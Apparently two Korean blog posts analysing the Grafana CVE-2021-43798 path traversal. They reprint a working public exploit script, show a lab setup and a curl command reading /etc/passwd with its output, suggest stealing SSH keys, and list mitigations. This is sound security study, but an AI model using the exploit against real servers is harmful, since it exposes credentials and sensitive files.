이전 게시글에서는 익스플로잇 하는 방법에 대해서 살펴보았다.

 

이 취약점은 21년도 12월에 제로데이로 트위터에 게시되어 많은 관심이 있었다고 한다 이 취약점이 공개된 이후 단 4일만에 공식 패치가 출시되어 짧은 시간동안만 제로데이였다고 한다. 

 

이제 익스플로잇 코드에 대한 분석을 해볼 것이다.

 

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

 

Grafana 8.0.0 ~ 8.3.0 버전에서 발견된 디렉터리 순회 공격 및 임의 파일 읽기 취약점이다. 이 취약점은 공격자가 서버에서 임의의 파일을 읽을 수 있도록 허용한다.

 

 

 

Description

Grafana는 데이터 시각화 및 모니터링 도구로 아주 많이 쓰이고 있다. 이 공개 취약점은 특정 플러그인을 이용하여 파일을 읽기 위해서 사용하는 경로 조작 취약점이다. 공격자는 디렉터리 순회 공격을 통해서 민감한 파일에 대한 정보를 읽을 수 있다. 

 

코드 분석

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

grafana에 있는 플러그인들에 대해서 나열해 놓은 것이다. 이 플로그인들이 공격에서 아주 유용하게 사용될 것이다.

 

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

exploit 함수에서는 공격자가 입력하여 파일을 읽을 수 있도록 입력을 받고, 공격자가 입력한 파일 경로를 포함해  URL을 구성한 후에 requests 모듈을 이용해 GET 요청을 전송한다. 디렉터리 순회 공격을 이용해 익스플로잇을 하기 때문에 ../../../../../ 와 같은 상위 디렉터리로 이동하는 것을 확인 할 수 있다.

이후 서버의 응답을 확인하여 파일이 존재하면 내용을 출력하고, 그렇지 않다면 오류메시지를 출력한다.

 

영향

취약한 Grafana 버전을 사용하는 서버들은 공격자가 서버의 중요한 파일을 읽는데 사용될 수 있다. /etc/passwd나 /etc/grafana/grafana.ini 또는 grafana.db 같은 응용 프로그램 구성 파일을 읽거나 저장되어있는 데이터베이스를 읽는다면 민감한 정보를 유출할 수 있다는 것이다. 이러한 점은 서버의 보안을 심각하게 저해할 수 있다. 또한 파일에 들어있는 내용을 읽어 다른 연계 공격이 가능할 것으로 예상된다

 

대응 방법

1. 버전 업데이트 : Grafana를 최신버전으로 업데이트 한다. 단 4일만에 패치 버전이 나온 것을 보았을 때 최신버전이 나오면 빠르게 업데이틀 하는 것이 중요하다

 

2. 웹 애플리케이션 방화벽(WAF) : 디렉터리 순회 공격을 차단할 수 있는 WAF를 사용한다

 

3. 접근 제어(Access Control) : 서버 파일 시스템에 대한 접근 권한을 최소화하고, 민감한 파일에 대한 접근을 제한한다

 

4. 입력 검증 : 사용자의 입력에 대해서 철저히 검증해야하고, 디렉터리 순회 같은 패턴을 필터링 할 수 있는 코드를 작성하여 패턴이 감지된다면 차단하여 사전에 미리 방지한다

 

 

 

 

 

'CVE' 카테고리의 다른 글

[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (1)  (0) 2024.06.12

2021년 12월 경 j0vsec이 그라파나의 경로 탐색 취약점을 발견했다고 했다. 이 취약점으로 인해 인증되지 않은 사용자가 호스트의 파일을 읽을 수 있다.

부여된 CVE 코드는 CVE-2021-43798 이며, CVSSv3 Score는 7.5인 높은 수준의 취약점이다.

이 취약점에 해당하는 버전은 8.0.0 ~ 8.3.0 까지의 버전에서 취약점이 발견되었으며, 제로데이 취약점이 발견한 후에 바로 패치를 진행했다고 한다. 하지만 아직 취약점이 발견된 버전을 사용하고 있는 서버는 업데이트를 하는 것을 추천한다.

 

 

Grafana 8.3.0 서버 구축

서버는 Centos7 에서 구축을 진행했다.

# grafana 8.3.0 install
wget https://dl.grafana.com/oss/release/grafana-8.3.0.linux-amd64.tar.gz --no-check-certificate
tar -zxvf grafana-8.3.0.linux-amd64.tar.gz

# firewall open
firewall-cmd --permanent --add-port=3000/tcp
firewall-cmd --reload

# grafana 실행
cd grafana-8.3.0/bin
./grafana-server

 

 

익스플로잇 테스트를 위한 서버 구축 완료 계정 정보에 대해선 기본 계정 정보를 사용할 것이니 admin:admin 으로 로그인을 하면 된다.

 

정상적으로 로그인에 성공했다.

그라파나 버전을 확인할 수 있는 방법은 위 사진 화면 밑에 물음표에 커서를 올리면 버전이 뜨거나 kali linux를 이용해서 버전을 확인할 수 있다.

└─$ curl http://192.168.56.104:3000/login | grep "Grafana v"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 28039    0 28039    0     0  5174k      0 --:--:-- --:--:-- --:--:-- 5476k
        navTree: [{"id":"dashboards","text":"Dashboards","section":"core","subTitle":"Manage dashboards 
        and folders","icon":"apps","url":"/","sortWeight":-1800,"children":[{"id":"home","text":"Home"
        ,"icon":"home-alt","url":"/","hideFromTabs":true},{"id":"divider","text":"Divider","divider":
        true,"hideFromTabs":true},{"id":"manage-dashboards","text":"Browse","icon":"sitemap","url":
        "/dashboards"},{"id":"playlists","text":"Playlists","icon":"presentation-play","url":
        "/playlists"}]},{"id":"alerting","text":"Alerting","section":"core","subTitle":"Alert 
        rules and notifications","icon":"bell","url":"/alerting/list","sortWeight":-1600,"children":
        [{"id":"alert-list","text":"Alert rules","icon":"list-ul","url":"/alerting/list"},{"id":
        "silences","text":"Silences","icon":"bell-slash","url":"/alerting/silences"},{"id":"groups
        ","text":"Alert groups","icon":"layer-group","url":"/alerting/groups"}]},{"id":"help","text
        ":"Help","section":"config","subTitle":"Grafana v8.3.0 (914fcedb72)","icon":"question-circle
        ","url":"#","sortWeight":-1100}],

 

위와 같은 방법을 이용해도 Grafana v8.3.0 인것을 확인 할 수 있다.

 

 

Exploit(Script)

익스플로잇을 하기 위해서 kali linux 에서 searchsploit 툴을 이용하여 exploit-db.com에 저장되어있는 공개 취약점 목록을 검색해서 알려준다.

└─$ searchsploit grafana 8.3.0   
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                                                                                                | multiple/webapps/50581.py
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

 

위와 같이 exploit-db 사이트에 있는 공개 취약점을 확인할 수 있으며 웹 사이트에서 확인하기 위해서 -w 옵션을 사용하여 웹 사이트 주소를 확인한 후 접속한다.

 

 

웹사이트 접속 시 익스플로잇 할 수 있는 다양한 정보를 보여주는데 공개 취약점 코드, 그리고 코드를 제공해준다. 

코드의 윗부분을 보니 8.0.0 ~ 8.3.0 버전에서 사용할 수 있다는것을 확인했다. 이 익스플로잇 코드를 가져와서 익스플로잇 해본다.

 

└─$ searchsploit -m 50581 .

└─$ cat 50581.py | head
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

searchsploit -m 을 사용하여 익스플로잇할 소스코드를 가져오고, 파일의 윗 부분을 확인해보니 exploit-db.com에서 확인한 것과 동일한 파일인 것을 확인했다. 이제 본격적으로 익스플로잇해본다

 

익스플로잇 코드 분석은 다음 게시글에서 할 예정이다. 우선 어떤식으로 취약점을 이용하여 익스플로잇하는지 파악하기 위해서 자세한 분석 없이 스크립트를 이용하여 익스플로잇을 했다.

 

한가지 더 메뉴얼한 방법으로 /etc/passwd를 찾는다면, 아래와 같이 한다.

└─$ curl --path-as-is http://192.168.56.104:3000/public/plugins/mysql/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

 

이 취약점을 이용하여 연계를 할 수 있는 것은 아주 많지만 생성되있는 사용자의 홈디렉터리에서 .bash_history를 본다던가 만약 .ssh 디렉터리에 있는 키페어의 비밀키를 탈취하여 SSH 연결을 통해 초기 침투까지 할 수 있을 것으로 예상 된다.

 

이번 게시글에서는 공개 취약점을 이용해 익스플로잇하는 방법을 살펴보았는데 다음 게시글에서는 이런 익스플로잇이 어떻게 가능한 것인지, 익스플로잇의 코드 등등 더 자세히 살펴보겠다.

 

 

'CVE' 카테고리의 다른 글

[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (2)  (0) 2024.06.12

+ Recent posts